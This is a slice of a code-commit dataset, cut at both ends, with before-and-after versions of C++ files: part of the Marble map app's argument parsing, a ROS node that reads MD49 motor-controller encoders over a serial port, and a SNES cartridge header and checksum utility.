Qt::CaseInsensitive ) )\n {\n marbleDataPath = args.at(i).mid(17);\n }\n else if ( arg.compare( \"--marbledatapath\", Qt::CaseInsensitive ) == 0 ) {\n dataPathIndex = i + 1;\n marbleDataPath = args.value( dataPathIndex );\n ++i;\n }\n else if ( arg == \"--smallscreen\" ) {\n profiles |= MarbleGlobal::SmallScreen;\n }\n else if ( arg == \"--nosmallscreen\" ) {\n profiles &= ~MarbleGlobal::SmallScreen;\n }\n else if ( arg == \"--highresolution\" ) {\n profiles |= MarbleGlobal::HighResolution;\n }\n else if ( arg == \"--nohighresolution\" ) {\n profiles &= ~MarbleGlobal::HighResolution;\n }\n }\n MarbleGlobal::getInstance()->setProfiles( profiles );\n\n QLocale::MeasurementSystem const measurement = QLocale::system().measurementSystem();\n Marble::MeasureSystem const marbleMeasurement = measurement == QLocale::ImperialSystem ? Marble::Imperial : Marble::Metric;\n MarbleGlobal::getInstance()->locale()->setMeasureSystem( marbleMeasurement );\n\n MainWindow *window = new MainWindow( marbleDataPath );\n window->setAttribute( Qt::WA_DeleteOnClose, true );\n\n MarbleTest *marbleTest = new MarbleTest( window->marbleWidget() );\n\n\/\/ window->marbleWidget()->rotateTo( 0, 0, -90 );\n\/\/ window->show();\n\n for ( int i = 1; i < args.count(); ++i ) {\n const QString arg = args.at(i);\n if ( arg == \"--timedemo\" )\n {\n window->resize(900, 640);\n marbleTest->timeDemo();\n return 0;\n }\n else if( arg == \"--gpsdemo\" ) {\n window->resize( 900, 640 );\n marbleTest->gpsDemo();\n return 0;\n }\n else if( arg == \"--fps\" ) {\n window->marbleControl()->marbleWidget()->setShowFrameRate( true );\n }\n else if( arg == \"--enableCurrentLocation\" )\n {\n window->marbleControl()->setCurrentLocationTabShown(true);\n }\n else if( arg == \"--enableFileView\" )\n {\n window->marbleControl()->setFileViewTabShown(true);\n }\n else if ( arg == \"--tile-id\" )\n {\n\t window->marbleControl()->marbleWidget()->setShowTileId(true);\n }\n else if ( i != dataPathIndex && QFile::exists( arg ) )\n ( window->marbleControl() )->addGeoDataFile( arg );\n }\n\n delete marbleTest;\n\n return app.exec();\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream> \/* allows to perform standard input and output operations *\/\n#include <fstream>\n#include <stdio.h> \/* Standard input\/output definitions *\/\n#include <stdint.h> \/* Standard input\/output definitions *\/\n#include <stdlib.h> \/* defines several general purpose functions *\/\n#include <unistd.h> \/* UNIX standard function definitions *\/\n#include <fcntl.h> \/* File control definitions *\/\n#include <ctype.h> \/* isxxx() *\/\n#include <ros\/ros.h> \/* ROS *\/\n#include <geometry_msgs\/Twist.h> \/* ROS Twist message *\/\n#include <base_controller\/encoders.h> \/* Custom message \/encoders *\/\n#include <base_controller\/md49data.h> \/* Custom message \/encoders *\/\n\n#include <serialport\/serialport.h>\n#define REPLY_SIZE 18\n#define TIMEOUT 1000\n\nint32_t EncoderL; \/* stores encoder value left read from md49 *\/\nint32_t EncoderR; \/* stores encoder value right read from md49 *\/\nchar reply[REPLY_SIZE];\nunsigned char speed_l=128, speed_r=128; \/* speed to set for MD49 *\/\nunsigned char last_speed_l=128, last_speed_r=128; \/* speed to set for MD49 *\/\ndouble vr = 0.0;\ndouble vl = 0.0;\ndouble max_vr = 0.2;\ndouble max_vl = 0.2;\ndouble min_vr = 0.2;\ndouble min_vl = 0.2;\ndouble base_width = 0.4; \/* Base width in meters *\/\n\n\/\/unsigned char serialBuffer[18]; \/* Serial buffer to store uart data *\/\nvoid read_MD49_Data (void);\nvoid set_MD49_speed (unsigned char speed_l, unsigned char speed_r);\nchar* itoa(int value, char* result, int base);\n\nusing namespace std;\ncereal::CerealPort device;\nbase_controller::encoders encoders;\nbase_controller::md49data md49data;\n\nvoid cmd_vel_callback(const geometry_msgs::Twist& vel_cmd){\n\n if (vel_cmd.linear.x>0){\n speed_l = 255;\n speed_r = 255;\n }\n if (vel_cmd.linear.x<0){\n speed_l = 0;\n speed_r = 0;\n }\n if (vel_cmd.linear.x==0 && vel_cmd.angular.z==0){\n speed_l = 128;\n speed_r = 128;\n }\n if (vel_cmd.angular.z>0){\n speed_l = 0;\n speed_r = 255;\n }\n if (vel_cmd.angular.z<0){\n speed_l = 255;\n speed_r = 0;\n }\n if ((speed_l != last_speed_l) || (speed_r != last_speed_r)){\n \/\/set_MD49_speed(speed_l,speed_r);\n last_speed_l=speed_l;\n last_speed_r=speed_r;\n }\n\n \/*\n \/\/ANFANG Alternative\n if (vel_cmd.linear.x==0 && vel_cmd.angular.z==0){vl=0;vr=0;}\n else if(vel_cmd.linear.x == 0){\n \/\/ turning\n vr = vel_cmd.angular.z * base_width \/ 2.0;\n vl = (-1) * vr;\n }\n else if(vel_cmd.angular.z == 0){\n \/\/ forward \/ backward\n vl = vr = vel_cmd.linear.x;\n }\n else{\n \/\/ moving doing arcs\n vl = vel_cmd.linear.x - vel_cmd.angular.z * base_width \/ 2.0;\n if (vl > max_vl) {vl=max_vl;}\n if (vl < min_vl) {vl=min_vl;}\n vr = vel_cmd.linear.x + vel_cmd.angular.z * base_width \/ 2.0;\n if (vr > max_vr) {vr=max_vr;}\n if (vr < min_vr) {vr=min_vr;}\n }\n \/\/ENDE Alternative\n *\/\n}\n\n\nint main( int argc, char* argv[] ){\n\n ros::init(argc, argv, \"base_controller\" );\n ros::NodeHandle n;\n ros::Subscriber sub = n.subscribe(\"\/cmd_vel\", 10, cmd_vel_callback);\n ros::Publisher encoders_pub = n.advertise<base_controller::encoders>(\"encoders\",10);\n ros::Publisher md49data_pub = n.advertise<base_controller::md49data>(\"md49data\",10);\n\n \/\/ Init node\n \/\/ *********\n ros::Rate loop_rate(10);\n ROS_INFO(\"base_controller running...\");\n ROS_INFO(\"=============================\");\n ROS_INFO(\"Subscribing to topic \/cmd_vel\");\n ROS_INFO(\"Publishing to topic \/encoders\");\n ROS_INFO(\"Publishing to topic \/md49data\");\n sleep(2);\n\n \/\/ Open serial port\n \/\/ ****************\n try{ device.open(\"\/dev\/ttyAMA0\", 38400); }\n catch(cereal::Exception& e)\n {\n ROS_FATAL(\"Failed to open the serial port!!!\");\n ROS_BREAK();\n }\n ROS_INFO(\"The serial port is opened.\");\n\n\n while(n.ok())\n {\n \/\/ Read encoder and other data from MD49\n \/\/ (data is read from serial_controller_node\n \/\/ and avaiable through md49_data.txt)\n \/\/ *****************************************\n read_MD49_Data();\n\n \/\/ Publish encoder values to topic \/encoders (custom message)\n \/\/ ********************************************************** \n encoders.encoder_l=EncoderL;\n encoders.encoder_r=EncoderR;\n encoders_pub.publish(encoders);\n\n \/\/ Publish MD49 data to topic \/md49data (custom message)\n \/\/ ***************************************************** \n md49data.speed_l = reply[8];\n md49data.speed_r = reply[9];\n md49data.volt = reply[10];\n md49data.current_l = reply[11];\n md49data.current_r = reply[12];\n md49data.error = reply[13];\n md49data.acceleration = reply[14];\n md49data.mode = reply[15];\n md49data.regulator = reply[16];\n md49data.timeout = reply[17];\n md49data_pub.publish(md49data);\n\n \/\/ ****\n ros::spinOnce();\n loop_rate.sleep();\n\n }\/\/ end.mainloop\n\n return 1;\n} \/\/ end.main\n\n\nvoid read_MD49_Data (void){\n\n \/\/ Send 'R' over the serial port\n device.write(\"R\");\n \/\/ Get the reply, the last value is the timeout in ms\n try{ device.read(reply, REPLY_SIZE, TIMEOUT); }\n catch(cereal::TimeoutException& e)\n {\n ROS_ERROR(\"Timeout on serialport! No data read\");\n }\n \/\/ROS_INFO(\"Received MD49 data\");\n\n \/\/ Put toghether new encodervalues\n \/\/ *******************************\n EncoderL = reply[0] << 24; \/\/ Put together first encoder value\n EncoderL |= (reply[1] << 16);\n EncoderL |= (reply[2] << 8);\n EncoderL |= (reply[3]);\n EncoderR = reply[4] << 24; \/\/ Put together second encoder value\n EncoderR |= (reply[5] << 16);\n EncoderR |= (reply[6] << 8);\n EncoderR |= (reply[7]);\n\n\/*\n \/\/ Output MD49 data on screen\n \/\/ **************************\n printf(\"\\033[2J\"); \/\/ clear the screen\n printf(\"\\033[H\"); \/\/ position cursor at top-left corner\n printf (\"MD49-Data read from AVR-Master: \\n\");\n printf(\"========================================\\n\");\n printf(\"Encoder1 Byte1: %i \",reply[0]);\n printf(\"Byte2: %i \",reply[1]);\n printf(\"Byte3: % i \",reply[2]);\n printf(\"Byte4: %i \\n\",reply[3]);\n printf(\"Encoder2 Byte1: %i \",reply[4]);\n printf(\"Byte2: %i \",reply[5]);\n printf(\"Byte3: %i \",reply[6]);\n printf(\"Byte4: %i \\n\",reply[7]);\n printf(\"EncoderL: %i \",EncoderL);\n printf(\"EncoderR: %i \\n\",EncoderR);\n printf(\"========================================\\n\");\n printf(\"Speed1: %i \",reply[8]);\n printf(\"Speed2: %i \\n\",reply[9]);\n printf(\"Volts: %i \\n\",reply[10]);\n printf(\"Current1: %i \",reply[11]);\n printf(\"Current2: %i \\n\",reply[12]);\n printf(\"Error: %i \\n\",reply[13]);\n printf(\"Acceleration: %i \\n\",reply[14]);\n printf(\"Mode: %i \\n\",reply[15]);\n printf(\"Regulator: %i \\n\",reply[16]);\n printf(\"Timeout: %i \\n\",reply[17]);\n*\/\n\n}\n\nvoid set_MD49_speed (unsigned char speed_l, unsigned char speed_r){\n\n\n\n\/*\n char buffer[33];\n ofstream myfile;\n myfile.open (\"md49_commands.txt\");\n \/\/myfile << \"Writing this to a file.\\n\";\n if (speed_l==0){\n myfile << \"000\";\n myfile << \"\\n\";\n }\n else if (speed_l<10){\n myfile << \"00\";\n myfile << itoa(speed_l,buffer,10);\n myfile << \"\\n\";\n }\n else if (speed_l<100){\n myfile << \"0\";\n myfile << itoa(speed_l,buffer,10);\n myfile << \"\\n\";\n }\n else{\n myfile << itoa(speed_l,buffer,10);\n myfile << \"\\n\";\n }\n\n if (speed_r==0){\n myfile << \"000\";\n myfile << \"\\n\";\n }\n else if (speed_r<10){\n myfile << \"00\";\n myfile << itoa(speed_r,buffer,10);\n myfile << \"\\n\";\n }\n else if (speed_r<100){\n myfile << \"0\";\n myfile << itoa(speed_r,buffer,10);\n myfile << \"\\n\";\n }\n else{\n myfile << itoa(speed_r,buffer,10);\n myfile << \"\\n\";\n }\n myfile.close();\n*\/\n\n}\n\nchar* itoa(int value, char* result, int base) {\n \/\/ check that the base if valid\n if (base < 2 || base > 36) { *result = '\\0'; return result; }\n\n char* ptr = result, *ptr1 = result, tmp_char;\n int tmp_value;\n\n do {\n tmp_value = value;\n value \/= base;\n *ptr++ = \"zyxwvutsrqponmlkjihgfedcba9876543210123456789abcdefghijklmnopqrstuvwxyz\" [35 + (tmp_value - value * base)];\n } while ( value );\n\n \/\/ Apply negative sign\n if (tmp_value < 0) *ptr++ = '-';\n *ptr-- = '\\0';\n while(ptr1 < ptr) {\n tmp_char = *ptr;\n *ptr--= *ptr1;\n *ptr1++ = tmp_char;\n }\n return result;\n }\n<commit_msg>Update code<commit_after>#include <iostream> \/* allows to perform standard input and output operations *\/\n#include <fstream>\n#include <stdio.h> \/* Standard input\/output definitions *\/\n#include <stdint.h> \/* Standard input\/output definitions *\/\n#include <stdlib.h> \/* defines several general purpose functions *\/\n#include <unistd.h> \/* UNIX standard function definitions *\/\n#include <fcntl.h> \/* File control definitions *\/\n#include <ctype.h> \/* isxxx() *\/\n#include <ros\/ros.h> \/* ROS *\/\n#include <geometry_msgs\/Twist.h> \/* ROS Twist message *\/\n#include <base_controller\/encoders.h> \/* Custom message \/encoders *\/\n#include <base_controller\/md49data.h> \/* Custom message \/encoders *\/\n\n#include <serialport\/serialport.h>\n#define REPLY_SIZE 18\n#define TIMEOUT 1000\n\nint32_t EncoderL; \/* stores encoder value left read from md49 *\/\nint32_t EncoderR; \/* stores encoder value right read from md49 *\/\nchar reply[REPLY_SIZE];\nunsigned char speed_l=128, speed_r=128; \/* speed to set for MD49 *\/\nunsigned char last_speed_l=128, last_speed_r=128; \/* speed to set for MD49 *\/\ndouble vr = 0.0;\ndouble vl = 0.0;\ndouble max_vr = 0.2;\ndouble max_vl = 0.2;\ndouble min_vr = 0.2;\ndouble min_vl = 0.2;\ndouble base_width = 0.4; \/* Base width in meters *\/\n\n\/\/unsigned char serialBuffer[18]; \/* Serial buffer to store uart data *\/\nvoid read_MD49_Data (void);\nvoid set_MD49_speed (unsigned char speed_l, unsigned char speed_r);\nchar* itoa(int value, char* result, int base);\n\nusing namespace std;\ncereal::CerealPort device;\nbase_controller::encoders encoders;\nbase_controller::md49data md49data;\n\nvoid cmd_vel_callback(const geometry_msgs::Twist& vel_cmd){\n\n if (vel_cmd.linear.x>0){\n speed_l = 255;\n speed_r = 255;\n }\n if (vel_cmd.linear.x<0){\n speed_l = 0;\n speed_r = 0;\n }\n if (vel_cmd.linear.x==0 && vel_cmd.angular.z==0){\n speed_l = 128;\n speed_r = 128;\n }\n if (vel_cmd.angular.z>0){\n speed_l = 0;\n speed_r = 255;\n }\n if (vel_cmd.angular.z<0){\n speed_l = 255;\n speed_r = 0;\n }\n if ((speed_l != last_speed_l) || (speed_r != last_speed_r)){\n \/\/set_MD49_speed(speed_l,speed_r);\n last_speed_l=speed_l;\n last_speed_r=speed_r;\n }\n\n \/*\n \/\/ANFANG Alternative\n if (vel_cmd.linear.x==0 && vel_cmd.angular.z==0){vl=0;vr=0;}\n else if(vel_cmd.linear.x == 0){\n \/\/ turning\n vr = vel_cmd.angular.z * base_width \/ 2.0;\n vl = (-1) * vr;\n }\n else if(vel_cmd.angular.z == 0){\n \/\/ forward \/ backward\n vl = vr = vel_cmd.linear.x;\n }\n else{\n \/\/ moving doing arcs\n vl = vel_cmd.linear.x - vel_cmd.angular.z * base_width \/ 2.0;\n if (vl > max_vl) {vl=max_vl;}\n if (vl < min_vl) {vl=min_vl;}\n vr = vel_cmd.linear.x + vel_cmd.angular.z * base_width \/ 2.0;\n if (vr > max_vr) {vr=max_vr;}\n if (vr < min_vr) {vr=min_vr;}\n }\n \/\/ENDE Alternative\n *\/\n}\n\n\nint main( int argc, char* argv[] ){\n\n ros::init(argc, argv, \"base_controller\" );\n ros::NodeHandle n;\n ros::Subscriber sub = n.subscribe(\"\/cmd_vel\", 10, cmd_vel_callback);\n ros::Publisher encoders_pub = n.advertise<base_controller::encoders>(\"encoders\",10);\n ros::Publisher md49data_pub = n.advertise<base_controller::md49data>(\"md49data\",10);\n\n \/\/ Init node\n \/\/ *********\n ros::Rate loop_rate(10);\n ROS_INFO(\"base_controller running...\");\n ROS_INFO(\"=============================\");\n ROS_INFO(\"Subscribing to topic \/cmd_vel\");\n ROS_INFO(\"Publishing to topic \/encoders\");\n ROS_INFO(\"Publishing to topic \/md49data\");\n\n \/\/ Open serial port\n \/\/ ****************\n try{ device.open(\"\/dev\/ttyAMA0\", 38400); }\n catch(cereal::Exception& e)\n {\n ROS_FATAL(\"Failed to open the serial port!!!\");\n ROS_BREAK();\n }\n ROS_INFO(\"The serial port is opened.\");\n\n\n while(n.ok())\n {\n \/\/ Read encoder and other data from MD49\n \/\/ (data is read from serial_controller_node\n \/\/ and avaiable through md49_data.txt)\n \/\/ *****************************************\n read_MD49_Data();\n\n \/\/ Publish encoder values to topic \/encoders (custom message)\n \/\/ ********************************************************** \n encoders.encoder_l=EncoderL;\n encoders.encoder_r=EncoderR;\n encoders_pub.publish(encoders);\n\n \/\/ Publish MD49 data to topic \/md49data (custom message)\n \/\/ ***************************************************** \n md49data.speed_l = reply[8];\n md49data.speed_r = reply[9];\n md49data.volt = reply[10];\n md49data.current_l = reply[11];\n md49data.current_r = reply[12];\n md49data.error = reply[13];\n md49data.acceleration = reply[14];\n md49data.mode = reply[15];\n md49data.regulator = reply[16];\n md49data.timeout = reply[17];\n md49data_pub.publish(md49data);\n\n \/\/ ****\n ros::spinOnce();\n loop_rate.sleep();\n\n }\/\/ end.mainloop\n\n return 1;\n} \/\/ end.main\n\n\nvoid read_MD49_Data (void){\n\n \/\/ Send 'R' over the serial port\n device.write(\"R\");\n \/\/ Get the reply, the last value is the timeout in ms\n try{ device.read(reply, REPLY_SIZE, TIMEOUT); }\n catch(cereal::TimeoutException& e)\n {\n ROS_ERROR(\"Timeout on serialport! No data read\");\n }\n \/\/ROS_INFO(\"Received MD49 data\");\n\n \/\/ Put toghether new encodervalues\n \/\/ *******************************\n EncoderL = reply[0] << 24; \/\/ Put together first encoder value\n EncoderL |= (reply[1] << 16);\n EncoderL |= (reply[2] << 8);\n EncoderL |= (reply[3]);\n EncoderR = reply[4] << 24; \/\/ Put together second encoder value\n EncoderR |= (reply[5] << 16);\n EncoderR |= (reply[6] << 8);\n EncoderR |= (reply[7]);\n\n\/*\n \/\/ Output MD49 data on screen\n \/\/ **************************\n printf(\"\\033[2J\"); \/\/ clear the screen\n printf(\"\\033[H\"); \/\/ position cursor at top-left corner\n printf (\"MD49-Data read from AVR-Master: \\n\");\n printf(\"========================================\\n\");\n printf(\"Encoder1 Byte1: %i \",reply[0]);\n printf(\"Byte2: %i \",reply[1]);\n printf(\"Byte3: % i \",reply[2]);\n printf(\"Byte4: %i \\n\",reply[3]);\n printf(\"Encoder2 Byte1: %i \",reply[4]);\n printf(\"Byte2: %i \",reply[5]);\n printf(\"Byte3: %i \",reply[6]);\n printf(\"Byte4: %i \\n\",reply[7]);\n printf(\"EncoderL: %i \",EncoderL);\n printf(\"EncoderR: %i \\n\",EncoderR);\n printf(\"========================================\\n\");\n printf(\"Speed1: %i \",reply[8]);\n printf(\"Speed2: %i \\n\",reply[9]);\n printf(\"Volts: %i \\n\",reply[10]);\n printf(\"Current1: %i \",reply[11]);\n printf(\"Current2: %i \\n\",reply[12]);\n printf(\"Error: %i \\n\",reply[13]);\n printf(\"Acceleration: %i \\n\",reply[14]);\n printf(\"Mode: %i \\n\",reply[15]);\n printf(\"Regulator: %i \\n\",reply[16]);\n printf(\"Timeout: %i \\n\",reply[17]);\n*\/\n\n}\n\nvoid set_MD49_speed (unsigned char speed_l, unsigned char speed_r){\n\n\n\n\/*\n char buffer[33];\n ofstream myfile;\n myfile.open (\"md49_commands.txt\");\n \/\/myfile << \"Writing this to a file.\\n\";\n if (speed_l==0){\n myfile << \"000\";\n myfile << \"\\n\";\n }\n else if (speed_l<10){\n myfile << \"00\";\n myfile << itoa(speed_l,buffer,10);\n myfile << \"\\n\";\n }\n else if (speed_l<100){\n myfile << \"0\";\n myfile << itoa(speed_l,buffer,10);\n myfile << \"\\n\";\n }\n else{\n myfile << itoa(speed_l,buffer,10);\n myfile << \"\\n\";\n }\n\n if (speed_r==0){\n myfile << \"000\";\n myfile << \"\\n\";\n }\n else if (speed_r<10){\n myfile << \"00\";\n myfile << itoa(speed_r,buffer,10);\n myfile << \"\\n\";\n }\n else if (speed_r<100){\n myfile << \"0\";\n myfile << itoa(speed_r,buffer,10);\n myfile << \"\\n\";\n }\n else{\n myfile << itoa(speed_r,buffer,10);\n myfile << \"\\n\";\n }\n myfile.close();\n*\/\n\n}\n\nchar* itoa(int value, char* result, int base) {\n \/\/ check that the base if valid\n if (base < 2 || base > 36) { *result = '\\0'; return result; }\n\n char* ptr = result, *ptr1 = result, tmp_char;\n int tmp_value;\n\n do {\n tmp_value = value;\n value \/= base;\n *ptr++ = \"zyxwvutsrqponmlkjihgfedcba9876543210123456789abcdefghijklmnopqrstuvwxyz\" [35 + (tmp_value - value * base)];\n } while ( value );\n\n \/\/ Apply negative sign\n if (tmp_value < 0) *ptr++ = '-';\n *ptr-- = '\\0';\n while(ptr1 < ptr) {\n tmp_char = *ptr;\n *ptr--= *ptr1;\n *ptr1++ = tmp_char;\n }\n return result;\n }\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This file is part of the UnTech Editor Suite.\n * Copyright (c) 2016 - 2019, Marcus Rowe <undisbeliever@gmail.com>.\n * Distributed under The MIT License: https:\/\/opensource.org\/licenses\/MIT\n *\/\n\n#include \"cartridge.h\"\n#include <array>\n#include <cassert>\n#include <climits>\n#include <fstream>\n#include <stdexcept>\n\nusing namespace UnTech::Snes;\nusing namespace UnTech::Snes::Cartridge;\n\nconstexpr size_t HEADER_ADDR = 0xffb0;\nconstexpr size_t CHECKSUM_COMPLEMENT_ADDR = 0xffdc;\nconstexpr size_t CHECKSUM_ADDR = 0xffde;\n\nconstexpr unsigned MIN_ROM_SIZE = 64 * 1024;\nconstexpr unsigned MAX_ROM_SIZE = 4 * 1024 * 1024;\n\n#define MIN_ROM_STRING \"64 KiB\"\n#define MAX_ROM_STRING \"4 MiB\"\n\nsize_t Cartridge::headerAddress(MemoryMap memoryMap)\n{\n switch (memoryMap) {\n case MemoryMap::LOROM:\n return HEADER_ADDR - 0x8000;\n\n case MemoryMap::HIROM:\n return HEADER_ADDR;\n }\n\n throw std::invalid_argument(\"invalid MemoryMap\");\n}\n\nstatic inline size_t checksumCompelementAddress(MemoryMap memoryMap)\n{\n constexpr size_t offset = CHECKSUM_COMPLEMENT_ADDR - HEADER_ADDR;\n return headerAddress(memoryMap) + offset;\n}\n\nstatic inline size_t checksumAddress(MemoryMap memoryMap)\n{\n constexpr size_t offset = CHECKSUM_ADDR - HEADER_ADDR;\n return headerAddress(memoryMap) + offset;\n}\n\nbool Cartridge::isHeaderValid(const std::vector<uint8_t>& rom, MemoryMap memoryMap)\n{\n static const std::array<uint8_t, 2 + 4 + 7> EXPECTED(\n { { 'F', 'F', 'S', 'N', 'E', 'S', 0, 0, 0, 0, 0, 0, 0 } });\n\n \/\/ addresses of blank words in the interrupt vector\n static const std::array<size_t, 6> BLANK_INTERRUPT_VECTORS(\n { { 0xffe0, 0xffe2, 0xffec,\n 0xfff0, 0xfff2, 0xfff6 } });\n\n if (rom.size() < MIN_ROM_SIZE) {\n return false;\n }\n\n size_t addr = headerAddress(memoryMap);\n\n if (!std::equal(EXPECTED.begin(), EXPECTED.end(), rom.begin() + addr)) {\n return false;\n }\n\n for (size_t v : BLANK_INTERRUPT_VECTORS) {\n size_t a = addr + v - HEADER_ADDR;\n\n if (rom[a] != 0 || rom[a + 1] != 0) {\n return false;\n }\n }\n\n return true;\n}\n\nuint16_t Cartridge::readChecksum(const std::vector<uint8_t>& rom, MemoryMap memoryMap)\n{\n unsigned addr = checksumAddress(memoryMap);\n\n return rom.at(addr) | rom.at(addr + 1) << 8;\n}\n\nuint16_t Cartridge::calculateChecksum(const std::vector<uint8_t>& rom, MemoryMap memoryMap)\n{\n static_assert(sizeof(int) > sizeof(uint16_t) + 1, \"int too small\");\n static_assert(INT_MAX > MAX_ROM_SIZE * 256, \"int too small\");\n\n if (rom.size() < MIN_ROM_SIZE) {\n throw std::runtime_error(\"ROM is to small (minimum \" MIN_ROM_STRING \").\");\n }\n if (rom.size() > MAX_ROM_SIZE) {\n throw std::runtime_error(\"ROM is to large (maximum \" MAX_ROM_STRING \").\");\n }\n\n unsigned part1Size = 1;\n while (part1Size <= rom.size()) {\n part1Size <<= 1;\n }\n part1Size >>= 1;\n\n int part1 = 0;\n assert(part1Size <= rom.size());\n for (unsigned i = 0; i < part1Size; i++) {\n part1 += rom[i];\n }\n\n int part2 = 0;\n unsigned part2Count = 0;\n if (part1Size != rom.size()) {\n unsigned part2Size = rom.size() - part1Size;\n\n part2Count = part1Size \/ part2Size;\n if (part1Size % part2Size != 0) {\n throw std::runtime_error(\"Invalid ROM size.\");\n }\n\n for (unsigned i = part1Size; i < rom.size(); i++) {\n part2 += rom[i];\n }\n }\n\n int oldSum = 0;\n static_assert(CHECKSUM_ADDR == CHECKSUM_COMPLEMENT_ADDR + 2, \"assumption failed\");\n unsigned ccAddr = checksumCompelementAddress(memoryMap);\n for (unsigned i = 0; i < 4; i++) {\n oldSum += rom[i + ccAddr];\n }\n\n int checkSum = part1 + part2 * part2Count - oldSum + 0xff * 2;\n while (checkSum < 0) {\n checkSum += 0x10000;\n }\n\n return checkSum & 0xffff;\n}\n\nvoid Cartridge::writeChecksum(const std::string& filename, uint16_t checksum, MemoryMap memoryMap)\n{\n unsigned checksumAddr = checksumAddress(memoryMap);\n unsigned complementAddr = checksumCompelementAddress(memoryMap);\n\n uint16_t complement = 0xffff ^ checksum;\n\n std::ofstream out(filename, std::ios::out | std::ios::in | std::ios::binary);\n if (!out) {\n throw std::runtime_error(\"Error opening file: \" + filename);\n }\n\n out.exceptions(std::ios::failbit | std::ios::badbit);\n\n out.seekp(complementAddr);\n out.put(complement & 0xff);\n out.put(complement >> 8 & 0xff);\n\n assert(checksumAddr == complementAddr + 2);\n out.put(checksum & 0xff);\n out.put(checksum >> 8 & 0xff);\n\n out.close();\n}\n<commit_msg>Remove Maker Code and Game Code from the SNES header<commit_after>\/*\n * This file is part of the UnTech Editor Suite.\n * Copyright (c) 2016 - 2019, Marcus Rowe <undisbeliever@gmail.com>.\n * Distributed under The MIT License: https:\/\/opensource.org\/licenses\/MIT\n *\/\n\n#include \"cartridge.h\"\n#include <array>\n#include <cassert>\n#include <climits>\n#include <fstream>\n#include <stdexcept>\n\nusing namespace UnTech::Snes;\nusing namespace UnTech::Snes::Cartridge;\n\nconstexpr size_t HEADER_ADDR = 0xffb0;\nconstexpr size_t CHECKSUM_COMPLEMENT_ADDR = 0xffdc;\nconstexpr size_t CHECKSUM_ADDR = 0xffde;\n\nconstexpr unsigned MIN_ROM_SIZE = 64 * 1024;\nconstexpr unsigned MAX_ROM_SIZE = 4 * 1024 * 1024;\n\n#define MIN_ROM_STRING \"64 KiB\"\n#define MAX_ROM_STRING \"4 MiB\"\n\nsize_t Cartridge::headerAddress(MemoryMap memoryMap)\n{\n switch (memoryMap) {\n case MemoryMap::LOROM:\n return HEADER_ADDR - 0x8000;\n\n case MemoryMap::HIROM:\n return HEADER_ADDR;\n }\n\n throw std::invalid_argument(\"invalid MemoryMap\");\n}\n\nstatic inline size_t checksumCompelementAddress(MemoryMap memoryMap)\n{\n constexpr size_t offset = CHECKSUM_COMPLEMENT_ADDR - HEADER_ADDR;\n return headerAddress(memoryMap) + offset;\n}\n\nstatic inline size_t checksumAddress(MemoryMap memoryMap)\n{\n constexpr size_t offset = CHECKSUM_ADDR - HEADER_ADDR;\n return headerAddress(memoryMap) + offset;\n}\n\nbool Cartridge::isHeaderValid(const std::vector<uint8_t>& rom, MemoryMap memoryMap)\n{\n \/\/ Blank Maker Code and Game Code as my homebrew stuff is unlicensed.\n static const std::array<uint8_t, 2 + 4 + 7> EXPECTED(\n { { ' ', ' ', ' ', ' ', ' ', ' ', 0, 0, 0, 0, 0, 0, 0 } });\n\n \/\/ addresses of blank words in the interrupt vector\n static const std::array<size_t, 6> BLANK_INTERRUPT_VECTORS(\n { { 0xffe0, 0xffe2, 0xffec,\n 0xfff0, 0xfff2, 0xfff6 } });\n\n if (rom.size() < MIN_ROM_SIZE) {\n return false;\n }\n\n size_t addr = headerAddress(memoryMap);\n\n if (!std::equal(EXPECTED.begin(), EXPECTED.end(), rom.begin() + addr)) {\n return false;\n }\n\n for (size_t v : BLANK_INTERRUPT_VECTORS) {\n size_t a = addr + v - HEADER_ADDR;\n\n if (rom[a] != 0 || rom[a + 1] != 0) {\n return false;\n }\n }\n\n return true;\n}\n\nuint16_t Cartridge::readChecksum(const std::vector<uint8_t>& rom, MemoryMap memoryMap)\n{\n unsigned addr = checksumAddress(memoryMap);\n\n return rom.at(addr) | rom.at(addr + 1) << 8;\n}\n\nuint16_t Cartridge::calculateChecksum(const std::vector<uint8_t>& rom, MemoryMap memoryMap)\n{\n static_assert(sizeof(int) > sizeof(uint16_t) + 1, \"int too small\");\n static_assert(INT_MAX > MAX_ROM_SIZE * 256, \"int too small\");\n\n if (rom.size() < MIN_ROM_SIZE) {\n throw std::runtime_error(\"ROM is to small (minimum \" MIN_ROM_STRING \").\");\n }\n if (rom.size() > MAX_ROM_SIZE) {\n throw std::runtime_error(\"ROM is to large (maximum \" MAX_ROM_STRING \").\");\n }\n\n unsigned part1Size = 1;\n while (part1Size <= rom.size()) {\n part1Size <<= 1;\n }\n part1Size >>= 1;\n\n int part1 = 0;\n assert(part1Size <= rom.size());\n for (unsigned i = 0; i < part1Size; i++) {\n part1 += rom[i];\n }\n\n int part2 = 0;\n unsigned part2Count = 0;\n if (part1Size != rom.size()) {\n unsigned part2Size = rom.size() - part1Size;\n\n part2Count = part1Size \/ part2Size;\n if (part1Size % part2Size != 0) {\n throw std::runtime_error(\"Invalid ROM size.\");\n }\n\n for (unsigned i = part1Size; i < rom.size(); i++) {\n part2 += rom[i];\n }\n }\n\n int oldSum = 0;\n static_assert(CHECKSUM_ADDR == CHECKSUM_COMPLEMENT_ADDR + 2, \"assumption failed\");\n unsigned ccAddr = checksumCompelementAddress(memoryMap);\n for (unsigned i = 0; i < 4; i++) {\n oldSum += rom[i + ccAddr];\n }\n\n int checkSum = part1 + part2 * part2Count - oldSum + 0xff * 2;\n while (checkSum < 0) {\n checkSum += 0x10000;\n }\n\n return checkSum & 0xffff;\n}\n\nvoid Cartridge::writeChecksum(const std::string& filename, uint16_t checksum, MemoryMap memoryMap)\n{\n unsigned checksumAddr = checksumAddress(memoryMap);\n unsigned complementAddr = checksumCompelementAddress(memoryMap);\n\n uint16_t complement = 0xffff ^ checksum;\n\n std::ofstream out(filename, std::ios::out | std::ios::in | std::ios::binary);\n if (!out) {\n throw std::runtime_error(\"Error opening file: \" + filename);\n }\n\n out.exceptions(std::ios::failbit | std::ios::badbit);\n\n out.seekp(complementAddr);\n out.put(complement & 0xff);\n out.put(complement >> 8 & 0xff);\n\n assert(checksumAddr == complementAddr + 2);\n out.put(checksum & 0xff);\n out.put(checksum >> 8 & 0xff);\n\n out.close();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * LinearAverageProbe.cpp\n *\n * Created on: Apr 22, 2009\n * Author: rasmussn\n *\/\n\n#include \"LinearAverageProbe.hpp\"\n#include \"io.h\"\n#include 